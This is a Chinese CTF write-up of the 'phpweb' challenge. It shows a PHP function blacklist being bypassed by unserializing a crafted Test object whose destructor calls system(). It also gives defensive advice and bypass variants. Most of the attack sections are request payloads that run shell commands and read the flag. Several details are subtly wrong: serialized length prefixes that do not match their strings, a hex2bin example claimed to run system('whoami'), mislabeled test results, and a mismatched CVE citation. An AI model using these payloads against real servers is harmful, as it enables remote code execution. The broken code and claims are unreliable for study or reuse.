PHP代码审计入门:从一道BUUCTF真题(网鼎杯phpweb)学黑名单绕过与反序列化利用
PHP代码审计实战:黑名单绕过与反序列化漏洞深度解析
在CTF竞赛中,PHP代码审计一直是Web安全方向的重要考点。这道来自网鼎杯朱雀组的phpweb题目,完美展示了黑名单过滤机制的缺陷与反序列化漏洞的结合利用。本文将带您从零开始,逐步拆解这道经典题目,掌握PHP安全审计的核心技巧。
1. 题目环境与初步探测
首先观察题目页面行为:每隔5秒自动刷新页面。通过Burp Suite抓包发现每次刷新会提交两个POST参数:
POST / HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded func=gettime&p=2021-04-23初步猜测这是一个函数调用接口:
func参数指定要调用的函数名p参数作为函数参数传递
测试常见危险函数时发现大部分被拦截:
# 测试命令执行 func=system&p=whoami # 返回"Hacker..." func=exec&p=ls # 同上 # 测试文件读取 func=file_get_contents&p=index.php # 成功获取源码2. 源码审计与黑名单分析
获取到的index.php源码揭示了关键防御机制:
$disable_fun = array("exec","shell_exec","system","passthru",...); // 共35个禁用函数 function gettime($func, $p) { $result = call_user_func($func, $p); if (gettype($result) == "string") { return $result; } return ""; } // 关键Test类 class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } }安全机制分析:
| 防御层 | 实现方式 | 限制条件 |
|---|---|---|
| 函数黑名单 | in_array($func,$disable_fun) | 禁用35个危险函数 |
| 返回值限制 | gettype($result) == "string" | 只允许返回字符串类型 |
| 大小写过滤 | strtolower($func) | 防止大小写绕过 |
3. 黑名单绕过技术剖析
3.1 直接绕过尝试
首先检查黑名单遗漏的函数:
// 测试未被禁用的危险函数 func=passthru&p=whoami # 被拦截 func=pcntl_exec&p=/bin/sh # 被拦截 func=create_function&p=return system("whoami"); # 返回空(不符合字符串类型)3.2 反序列化漏洞发现
关键突破点在于Test类的设计:
class Test { var $p; var $func; function __destruct() { echo gettime($this->func, $this->p); } }利用链构造思路:
- 通过
unserialize触发对象反序列化 - 反序列化后的对象在销毁时自动调用
__destruct __destruct中调用gettime执行任意函数
3.3 完整利用链构建
分步构造Payload:
- 创建恶意Test对象:
class Test { var $func = "system"; var $p = "whoami"; } echo serialize(new Test()); // 输出:O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:6:"whoami";}- 通过原始接口触发:
POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:6:"whoami";}绕过原理对比:
| 调用方式 | 过滤检查 | 是否绕过 |
|---|---|---|
| 直接调用system | 检查func在黑名单中 | × |
| 通过反序列化调用 | 只检查unserialize不在黑名单 | √ |
4. 漏洞利用实战演示
4.1 基础命令执行
POST / HTTP/1.1 func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:8:"ls -lha";}4.2 多命令串联执行
$payload = new Test(); $payload->func = "system"; $payload->p = "whoami; pwd; find / -name '*flag*'"; echo serialize($payload);4.3 文件系统探测
POST / HTTP/1.1 func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"find / -type f -name flag*";}4.4 最终flag获取
POST / HTTP/1.1 func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:19:"cat /tmp/flagoefiu4r93";}5. 防御方案与最佳实践
5.1 黑名单机制的改进
原始黑名单的不足:
- 依赖枚举危险函数(永远不全)
- 未考虑动态调用链
- 忽略反序列化入口
改进方案:
// 白名单替代黑名单 $allowed_func = ['date', 'strtotime', 'gettime']; // 增加反序列化过滤 if ($func === 'unserialize') { $p = unserialize($p, ['allowed_classes' => []]); }5.2 安全开发建议
输入验证原则:
- 优先使用白名单而非黑名单
- 对动态函数调用进行严格限制
- 禁用不必要的危险函数(php.ini中disable_functions)
反序列化防护:
// 禁用对象反序列化 ini_set('unserialize_callback_func', ''); unserialize($data, ['allowed_classes' => false]); // 或仅允许特定类 unserialize($data, ['allowed_classes' => ['SafeClass']]);- 日志监控建议:
# 监控可疑函数调用 grep -r "call_user_func" /var/log/apache2/ grep -r "unserialize" /var/log/nginx/6. 同类漏洞模式扩展
6.1 常见触发场景
| 漏洞类型 | 典型代码模式 | 案例 |
|---|---|---|
| 动态函数调用 | $func($_GET['param']) | CVE-2021-21345 |
| 反序列化+魔术方法 | __destruct()调用危险方法 | ThinkPHP RCE |
| 回调函数滥用 | array_map($callback, $data) | WordPress插件漏洞 |
6.2 CTF中的变种考察
- 黑名单扩展绕过:
// 过滤了system但未过滤反引号 `$_GET['cmd']`- 二次编码绕过:
// 原始输入 func=hex2bin&p=73697374656d // 实际执行 system('whoami')- PHP特性利用:
// 通过字符串拼接绕过 $func = 'sys'.'tem'; $func('whoami');在真实项目代码审计时,建议建立以下检查清单:
- 查找所有
call_user_func/call_user_func_array调用点 - 检查
unserialize参数是否可控 - 审核所有魔术方法(
__destruct、__wakeup等) - 验证动态函数调用(
$var()语法) - 检查可能存在回调的函数(
array_filter、usort等)
